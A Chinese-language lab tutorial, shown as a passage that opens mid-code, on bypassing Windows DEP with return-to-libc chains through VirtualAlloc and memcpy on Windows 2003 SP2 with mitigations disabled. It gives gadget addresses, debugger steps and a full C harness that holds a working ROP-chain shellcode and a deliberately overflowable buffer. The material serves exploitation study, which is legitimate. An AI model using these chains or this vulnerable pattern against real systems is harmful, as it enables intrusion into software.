"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8" ; void test() { char tt[176]; memcpy(tt, shellcode, 420); } int main() { HINSTANCE hInst = LoadLibrary("shell32.dll"); char temp[200]; test(); return 0; }
测试结果
1.3 VirtualAlloc
通过跳转到 VIrtualAlloc 函数开辟一段具有执行权限的内存空间,然后将 shellcode 复制到这段内存中执行
实验环境
环境 | 环境设置 |
---|---|
操作系统 | Windows 2003 SP2 |
DEP状态 | Optout |
编译器 | VC 6.0 |
编译选项 | 禁用ASLR,禁用优化选项,禁用GS,禁用SDL检查,开启DEP,禁用SafeSEH |
绕过思路
通过栈溢出覆盖掉函数返回地址,通过 Ret2Libc 技术,利用 VirtualAlloc 函数申请一段具有执行权限的内存。通过 memcpy 函数将 shellcode 复制到 VirtualAlloc 函数申请的可执行内存空间中。最后在这段可执行的内存空间中执行 shellcode,实现 DEP 的绕过
限制
硬搜索函数地址,不适用于ASLR开启情况
实验过程
-
查找VirtualAlloc函数的地址:使用OllyDbg打开一个模块,使用搜索->在所有模块里查找,可见VirtualAlloc函数在kernel32.dll中,地址为0x7C8245A9
-
使用IDA打开kernel32.dll文件,找到VirtualAlloc函数
-
将参数直接布置到 shellcode 中,选择 0x7C8245BC ( CALL VirtualAllocEx)处作为切入点,直接申请空间
-
参数布置如下:
- lpAddress=0x00030000,只要选择一个未被占用的地址即可,没有什么特殊要求
- dwSize=0xFF,申请空间的大小可以根据 shellcode 的长度确定,本次实验申请 255 个 字节,足够 shellcode 使用
- flAllocationType=0x00001000,该值使用 0x00001000 即可,如有特殊需要可根据 MSDN 的介绍来设置为其他值
- flProtect=0x00000040,内存属性要设置为可读可写可执行,根据 MSDN 介绍,该属性对应的代码为 0x00000040
-
EBP在溢出过程中被破坏,第一步是修复 EBP,用 PUSH ESP POP EBP RETN 4 指令的地址覆盖 test 函数的返回地址,利用OllyFindAddr->Disable DEP->Disable DEP >= 2003 SP2查找PUSH ESP POP EBP RET 4的地址,选取0x77CAA3F4
此时shellcode如下:
-
按照以上参数布置一个能够申请可执行内存空间的 shellcode,shellcode 如下所示
-
利用OllyDbg加载程序,在 0x7CBBD9BA(调整 EBP 入口)处下断点,单步运行到 0x7C8245C2(VirtualAlloc 函数的 RETN 0x10)暂停,观察内存状态。 如图所示,EAX 中是申请空间的起始地址 0x00030000,说明空间申请成功
-
在空间申请后EBP被设置成0x00000000,而后边还会再用到EBP, 需要修复 EBP。注意 VirtualAlloc 函数返回时带有 16(0x10)个字节的偏移,也需要进行填充,利用OllyDbg查找POP EAX RETN指令地址,选择0x7C87E3E0
shellcode如下:
-
重新编译程序后用 OllyDbg 加载程序,单步运行到第二次调整完 EBP,观察内存状态。修正 EBP 后 ESP 和 EBP 指向同一个位置,而 memcpy 中的源内存地 址参数位于 EBP+0x0C
如果希望使用 PUSH ESP 的方式设置源内存地址,就需要让 ESP 指向 EBP+0x10,这样执行完 PUSH 操作后 ESP 的值刚好放在 EBP+0x0C
-
执行完 RETN 0x4 指令之后 ESP 指向 EBP+0x8,此时POP RETN 就可以在执行完 RETN 后让 ESP 指向 EBP+0x10。选择 POP ECX RETN,地址为 0x7C9AEA58
-
在执行完 PUSH 操作后收回程序控制权的最佳位置在 EBP+0x14,在这个位置执行 RETN 指令既保证了 memcpy 参数不被破坏,又可以减小 shellcode 长度
1)在执行完 PUSH 操作后只需要 POP 两次就可以让 ESP 指向 EBP+0x14,所以 JMP EAX 指令中的 EAX 只要指向POP POP RETN指令即可
2)然后在 EBP+0x14位置放置 memcpy 函数的切入点 0x7C94AFAC,这样程序在执行类似 POP POP RETN 指令中 RETN 时就可以转入 memcpy 函数中执行复制操作了
选取POP EDI POP ESI RETN指令,地址为0x7C9343A3 shellcode构造如下:
-
重新编译程序后用 OllyDbg 加载程序,单步运行到 memcpy 函数复制结束返回前暂停,观察内存状态
执行完复制操作后,memcpy 函数在返回时 ESP 指向了shellcode中的某个位置,这个位置还没有被占用,只是放置了填充字符。可以判断出这个位置位于 shellcode 中 POP POP RETN 指令地址和 memcpy 参数之间,只要在这个位置填上申请的可执行内存空间起始地址,就可以转入该内存区域执行了
-
在memcpy函数后放置MessageBox代码。memcpy函数复制过来的还包含着弹出对话框机器码前面的一些指令和参数,会破坏程序的执行,需要进行处理
1)对 ESI 和 EDI 指向内存的操作,在 0x00030004 和 0x00030005 分别对 ESI 和 EDI 指向的内存有读取操作,所以需要保证 ESI 和 EDI 指向合法的位置。ESI 和 EDI 是在 memcpy 函数返回前被 POP 进去的,所以在 shellcode 中 memcpy 函数切 入点下边使用两个 0x00030000 填充
2)0x00030006 的 XCHG EAX,EBP 指令,这条指令破坏了 ESP,而在弹出对话框的机器码中有 PUSH 操作,所以要修复ESP,故在弹出对话框的机器码前边使用 0x94填充,在 0x00030013 处来修复这个问题
3)0x0003000F的对[EAX]操作,如果 0x00030010 处使用 0x90 填充,结果就是对 [EAX+0x909094FC]操作,会引发异常,所以使用 0x00 填充 0x00030010,避免出现异常
-
shellcode整体构造如下
-
测试代码如下:
#include <stdlib.h> #include <string.h> #include <stdio.h> #include <windows.h> char shellcode[]= "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90" "\xF4\xA3\xCA\x77"//修正EBP retn 4 "\xBC\x45\x82\x7C"//申请空间 "\x90\x90\x90\x90" "\xFF\xFF\xFF\xFF"//-1当前进程 "\x00\x00\x03\x00"//申请空间起始地址 "\xFF\x00\x00\x00"//申请空间大小 "\x00\x10\x00\x00"//申请类型 "\x40\x00\x00\x00"//申请空间访问类型 "\x90\x90\x90\x90" "\xE0\xE3\x87\x7C"//pop eax retn "\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x90\x90\x90\x90" "\x90\x90\x90\x90" "\xA3\x43\x93\x7C"//pop pop retn "\xF4\xA3\xCA\x77"//修正EBP retn4 "\x58\xEA\x9A\x7C"//pop retn "\x00\x00\x03\x00"//可执行内存空间地址,转入执行用 "\x00\x00\x03\x00"//可执行内存空间地址,拷贝用 "\xC7\x7D\xC9\x77"//push esp jmp eax && 原始shellcode起始地址 "\xFF\x00\x00\x00"//shellcode长度 "\xAC\xAF\x94\x7C"//memcpy "\x00\x00\x03\x00"//一个可以读地址 "\x00\x00\x03\x00"//一个可以读地址 "\x00\x90\x90\x94" "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C" "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53" "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B" "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95" "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59" "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A" "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75" "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03" "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB" "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50" "\x53\xFF\x57\xFC\x53\xFF\x57\xF8" ; void test() { char tt[176]; memcpy(tt,shellcode,450); _asm INT 3; } int main() { HINSTANCE hInst = LoadLibrary("shell32.dll"); char temp[200]; test(); return 0; }
测试结果
2.可执行内存
假使被攻击的程序内存空间中存在这样一个 可执行的数据区域,就可以直接通过 memcpy 函数将 shellcode 复制到这段内存区域中执行
绕过思路
通过栈溢出覆盖掉函数返回地址,通过 Ret2Libc 技术,利用 memcpy 函数将 shellcode 复制到 内存中的可读可写可执行区域。最后在这段可执行的内存空间中执行 shellcode,实现 DEP 的绕过
DEP的不足
- 硬件DEP需要CPU的支持,不是所有CPU都提供了硬件DEP的支持
- 由于兼容性问题Windows不能对所有进程开启DEP保护
- /NXCOMPAT编译选项支队Windows Vista以上的系统有效
- DEP工作在Optin和Optout状态下时,DEP可以被动态关闭和开启
参考
博客:
关于DEP(数据执行保护)的分析 | 雨律在线 (yulv.net)
[原创]详解Windows写时复制机制-编程技术-看雪论坛-安全社区|安全招聘|bbs.pediy.com
[原创]WIN10 VS2019在缓冲区溢出(栈溢出)学习时候关闭这五个编译选项!!!-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com
(74条消息) Immunity Debugger中安装mona_唐风的风的博客-CSDN博客_mona插件
[原创]0day第12.3.2章节--Ret2Libc实战之利用VirtualProtect-软件逆向-看雪论坛-安全社区|安全招聘|bbs.pediy.com
官方文档:
mona.py – 手动|科兰网络安全研究科兰网络安全研究 (corelan.be)
专业书:《x86_x64体系探索及编程》、《0day安全:软件漏洞分析技术(第2版)》
GitHub: